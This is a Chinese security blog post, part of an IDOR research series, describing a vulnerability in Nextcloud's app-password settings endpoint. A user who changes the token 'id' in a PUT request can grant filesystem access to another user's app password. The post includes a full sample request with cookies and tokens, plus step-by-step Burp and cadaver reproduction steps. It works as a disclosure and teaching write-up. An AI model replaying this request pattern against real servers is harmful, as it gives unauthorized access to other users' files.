IDOR研究系列-06-注册用户可以更改任何用户的应用程序密码权限

admin 2024年11月24日14:09:33评论5 views字数 2665阅读8分53秒阅读模式

IDOR研究系列-06-注册用户可以更改任何用户的应用程序密码权限

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

现在只对常读和星标的公众号才展示大图推送,建议大家能把迪哥讲事(growing0101)“设为星标”,否则可能就看不到了啦!

前言

前面写过的很多IDOR相关的文章:

IDOR研究系列-01

IDOR研究系列-02

IDOR研究系列-03

IDOR研究系列-04

IDOR研究系列-05

BAC和IDOR漏洞技巧

idor相关研究

五种不一样的身份验证绕过技术

漏洞赏金猎人系列-权限升级相关测试方法以及Tips-I

漏洞赏金猎人系列-权限升级相关测试方法以及Tips-II

漏洞赏金猎人系列-权限升级相关测试方法以及Tips-III

正文

有问题的链接见下面:

http://[server]/nextcloud/index.php/settings/personal/authtokens/[token ID]

Nextcloud用户可以创建特定于应用程序的密码,也称为authtokens, 让一个应用程序对其账户进行有限制的访问。用户可以根据每个应用程序密码授予或拒绝访问他们的文件。

更改密码的文件访问(“文件系统”)权限的功能包含一个IDOR漏洞。在提交易受攻击的请求时,经过身份验证的用户可以通过更改应用程序密码ID号码来更改其他用户的应用程序密码的权限。

脆弱性参数位于发送给脆弱URL的JSON体中。示例请求如下:

PUT /nextcloud/index.php/settings/personal/authtokens/95 HTTP/1.1
Host: 192.168.1.22
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
requesttoken: vc5TVyC0GjTVwEX/YNUMeJ79CWq4W9G0/F6dJTOKMvE=:i6U7bkv2Tna8lXe2NbN6OdO/QgSKP7X1tR/kV1TsC6Q=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 109
Cookie: oc0xkd23iidt=prfrkbtr1t6bdqou018cajubv7; oc_sessionPassphrase=mz4sLu%2BmEY3MNj1ItWaTYM6PsBpJikK34msNsw1zA%2BuUJoM9J2zXY26eF7PDr9Dy9DpafNTaWN8iIBrGmh%2FDghSJASzTIwQhjW4gC%2B%2BTjIDBXm0THC7nixmxvdfIPxNA; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true
Connection: close
{"id":95,"name":"thisiatest","lastActivity":1513224099,"type":1,"scope":{"filesystem":true},"canDelete":true}

id为脆弱性参数

复现步骤

前提条件:一台有几个测试用户的Nextcloud服务器,一个能通过Burp等代理的浏览器设置。一个WebDav客户端也很有用,可以在Ubuntu上使用cadaver。

  • 转到Burp,点击“代理”选项卡,点击“拦截”子选项卡,点击“拦截开启”切换拦截关闭(如果它还没有关闭)
  • 以测试用户登录Nextcloud
  • 创建一个应用程序密码,取消勾选“允许文件系统访问”
  • 转到Burp,点击“代理”选项卡,点击“HTTP历史”子选项卡,向下滚动列表,找到对易受攻击URL的调用.注意authtoken ID的值.它是URL末尾的数字,也是JSON请求正文中的“id”值
  • 退出Nextcloud
  • 如果您有webdav客户端,请使用密码登录。对于cadaver,打开终端,输入“cadaver http://[server]/remote.php/webdav”,用app密码登录,发出“ls”命令。应该不会出现任何内容,因为该密码缺乏对用户文件的权限
  • 以第二个用户登录Nextcloud
  • 为这个用户创建一个应用程序密码,取消勾选“允许文件系统访问”
  • 跳转Burp -> Proxy -> Intercept,切换拦截开启(interception on)
  • 回到浏览器,为我们刚刚创建的应用程序重新勾选“允许文件系统访问”框。
  • Burp应该会延迟观看请求。请求应该指向易受攻击的URL;如果不是,点击“转发”,直到易受攻击的URL出现
  • 在JSON请求正文中,将“id”参数的值更改为前面提到的第一个受害用户的authtoken id
  • 转发(forward)请求(或者关闭拦截开关,都可以)
  • 回到webdav客户端,再次发出“ls”命令。现在应该得到受害用户的目录列表。如果没有,退出webdav客户端,并尝试再次登录
  • 如果没有webdav客户端,请退出Nextcloud并作为第一个用户重新登录。转到他们的个人设置,向下滚动到authtoken/app特定的密码,然后单击3次省略图标。现在应该检查“允许文件系统访问”,这表明我们的IDOR攻击成功地改变了这个authtoken的权限

福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,目前还没有录制完成,基础视频总共约200多集,目前已经录制了一百多集

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)

往期回顾

2022年度精选文章

dom-xss研究系列

原文始发于微信公众号(迪哥讲事):IDOR研究系列-06-注册用户可以更改任何用户的应用程序密码权限

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月24日14:09:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IDOR研究系列-06-注册用户可以更改任何用户的应用程序密码权限http://cn-sec.com/archives/1614993.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息